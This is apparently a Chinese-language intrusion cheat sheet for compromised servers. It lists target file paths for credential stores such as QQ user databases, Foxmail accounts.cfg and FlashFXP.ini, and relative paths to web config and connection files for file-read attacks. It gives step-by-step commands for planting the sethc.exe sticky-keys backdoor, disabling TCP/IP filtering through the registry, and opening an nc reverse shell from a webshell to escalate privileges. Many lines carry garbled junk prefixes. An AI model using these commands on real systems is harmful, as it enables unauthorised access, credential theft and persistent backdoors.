( R! q3 q* P0 E) ?3 e: U* hc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
; Z+ E. }0 E! O+ R" kc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
' h. p) {/ K, z8 P1 w* {* d  l) LC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
1 ]! h, m; @) y6 F  S/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
8 ]9 u' f* S" J1 N3 l6 ~* oc:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
5 I# Z( }0 R7 K0 Wc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
9 \2 V; t# C  s* ]! {! Vc:\Program Files\Tencent\qq2008\qq.exe
* L6 j6 f# j5 C# T, O: ?' c+ p" R3 xc:\Program Files\Tencent\qq2010\bin\qq.exe
0 E( p; V9 a. r# Rc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
5 J7 Y1 }- |4 ~. M# R4 }! [c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
9 Q/ m* `; B2 k- q( l: r7 cC:\Program Files\Foxmal\accounts.cfg
0 j7 P4 T4 P  D- fC:\Program Files\tencent\Foxmal\Foxmail.exe
; t2 X1 x1 j( `% d0 `6 @C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
& S+ {- f9 u$ V4 i+ fC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
6 G8 l; C! s# I7 M1 pC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
6 Z! p# Y* g" B8 V1 M7 ~0 Sc:\Program Files\腾讯游戏\QQGAME\readme.txt
3 B( m! H$ w) T3 H/ W* X  Ic:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
5 ~% J# H- k8 r5 mC:\Program Files\StormII\Storm.exe
8 D  t# I: J& c: u8 @
6 B8 u- w8 C: P: j- L3.网站相对路径:

/config.php
../../config.php
../config.php
: {) C: h5 w, \! I7 T7 ~# k! X( ~../../../config.php
/config.inc.php
./config.inc.php
* S/ J3 q( g( |3 N* g" {5 k1 N../../config.inc.php
../config.inc.php
2 z3 g/ u* n( R6 l5 b../../../config.inc.php
/conn.php
./conn.php
/ e: e  ?+ A; F( `9 D& W+ m../../conn.php
( Y$ ^  f( I+ d! w4 r- v: i9 n../conn.php
../../../conn.php
/ ], {9 r" w5 G' s3 L/conn.asp
5 q2 t7 d' A7 ~8 j; ^6 i4 M, d) C./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
% j) P9 h- M3 c1 m" D- t; R4 r7 x2 V7 \./config.inc.php
../../config.inc.php
1 F/ B9 w  _4 Q! l../config.inc.php
6 i4 m9 p9 \/ F2 I../../../config.inc.php
. o+ b; }) i& j- h/config/config.php
0 c. n% w" N1 R6 Q2 g* W7 ~" Y. I../../config/config.php
/ y) r, e* x  |../config/config.php
../../../config/config.php
/config/config.inc.php
8 }2 g$ r$ |) D" J2 h! V./config/config.inc.php
  `/ W% z& @) q+ o! G- ?../../config/config.inc.php
- ?2 A& S& q* s, n../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
./config/conn.php
; _, H' p/ [- ~- C../../config/conn.php
../config/conn.php
../../../config/conn.php
; a: ^5 l  G2 E" L/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
$ P# ]4 }& k% {../../../config/conn.asp
4 V0 D' I* s/ G$ j! W0 {; {9 e) l/config/config.inc.php
* C; W3 S7 }0 Q9 L. h6 D; l./config/config.inc.php
8 j0 l6 F& |5 J0 t; q../../config/config.inc.php
* I5 G4 @2 C* u) `3 Y../config/config.inc.php
../../../config/config.inc.php
2 D; u  J, S: Q2 l. E6 {/ U: E/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
/data/config.inc.php
. _( i  ?# h  A8 g9 u/ Z./data/config.inc.php
../../data/config.inc.php
) k2 ~2 s& w/ j: |4 H5 d8 M../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
5 F& b1 m0 c- V. u0 d' |7 Q8 X0 s1 ~./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
3 i. v, R, p1 K9 l+ I# {./data/conn.asp
../../data/conn.asp
1 O' O0 v1 ~$ L( X( p- {../data/conn.asp
../../../data/conn.asp
5 `9 q# t/ [0 q1 p/data/config.inc.php
./data/config.inc.php
4 c# F# [) Y: I( D$ _: f& t* \../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
* E: ]7 Z7 }- d- S../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
- q0 {/ Y. Y+ l../include/config.inc.php
! z! i2 F4 Y" E5 j" j- A3 T../../../include/config.inc.php
. q3 J  l6 S! ^7 T/include/conn.php
./include/conn.php
../../include/conn.php
2 {5 H, o5 ]4 a' W, |' c../include/conn.php
$ E9 U8 h4 `; ~$ E% O3 x  G../../../include/conn.php
/include/conn.asp
./include/conn.asp
../../include/conn.asp
6 G9 ~; l3 E# ?, Z* H" m$ S../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
; E0 ~2 K& e1 v4 R; o./include/config.inc.php
0 o2 W. _. y: t% `2 b../../include/config.inc.php
- O. K& n7 K# n& X3 {: V* a/ J/ }../include/config.inc.php
../../../include/config.inc.php
7 b3 W, f, }7 f0 L( Y; f/inc/config.php
# C% L: `% F2 A* C4 F1 D( [2 x# C../../inc/config.php
, ^  R" x0 ?; @6 E../inc/config.php
. Q9 D! |( L: a. ^+ I( P../../../inc/config.php
0 D/ d6 \" p9 a+ {) @; q; a/inc/config.inc.php
./inc/config.inc.php
' g/ `* U& a$ e  }! y; N../../inc/config.inc.php
../inc/config.inc.php
2 S! z: S5 o  T../../../inc/config.inc.php
/inc/conn.php
2 k1 Q1 x% d! k/ m./inc/conn.php
../../inc/conn.php
% c9 B! x6 U5 n) e../inc/conn.php
& b/ n8 d; l* @) u3 i$ n../../../inc/conn.php
5 v: l- p/ O; S+ P9 R+ _" h/inc/conn.asp
./inc/conn.asp
8 i7 b* ^: A9 F../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
; q' ]$ y+ S( h8 q/inc/config.inc.php
3 p! d  E8 u0 {  x6 t$ l./inc/config.inc.php
% ~# m: k5 f) s0 y8 W/ O4 D0 e- p../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
' ?4 h0 F$ ^# L/ h& e) m../../index.php
8 q- k4 |! `# p; Z0 f- ?../index.php
4 _0 _8 p" k# t# r" [../../../index.php
/ Q3 k2 B1 J  z1 O" _/index.asp
./index.asp
../../index.asp
0 N2 Y# ~! z7 E0 O  ^" M+ |../index.asp
../../../index.asp
- r2 }1 o- D/ V" X替换SHIFT后门
$ J5 M4 Q' [- K: C% j, _　attrib c:\windows\system32\sethc.exe -h -r -s
# p9 \- [& J+ T5 J; K# Y9 ?
4 g( F& L8 S2 ^$ g4 Z　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
* A: x" ~( x7 i6 _" d2 ~
2 V/ c! x+ _. J: X　　del c:\windows\system32\sethc.exe
( V0 n9 M1 |! `7 V9 u* }6 ^/ ]9 `1 ]/ @
7 s1 i$ k. ?0 C* S3 i6 f7 ^$ A! O5 f　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

, n% A" k) G$ d* Q- Q　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
) Y1 D2 C1 {& ^( }% x" b0 v
　　attrib c:\windows\system32\sethc.exe +h +r +s
7 j$ h' U  P' c5 o- A
" L8 k: V8 p, J) w( O; X　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
) c3 t1 a5 e2 i8 T% iHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
6 E6 K2 s) e- NHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

/ ^$ E) P6 }2 ~/ X+ U分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
9 \' y+ Z9 j% F, n7 q; X命令来导出注册表项

/ d7 v) @; S4 W& u然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
+ i9 N" y+ O. |  a$ }7 o# O5 L1 L
8 O  x* w- N5 s* Z1 ~: {再将以上三个文件分别用
. l9 {# ]- T/ Z4 m8 o" A6 @regedit -s D:\a.reg
2 u  r5 j" i8 s9 p& e) Cregedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
, S5 s/ j* k  r8 W" Y
6 H, G! L! U. Z) a/ Lwebshell提权小技巧
5 x% a3 H5 f3 [+ o, q9 Ucmd路径:
/ ?- W" T! X6 _4 zc:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
, I8 A0 K" W* J3 z+ L
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
0 d* a" m: v4 ?5 g* |" u却能成功。。
这个不是重点
$ b/ y% k% x% t$ ?$ D: S我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功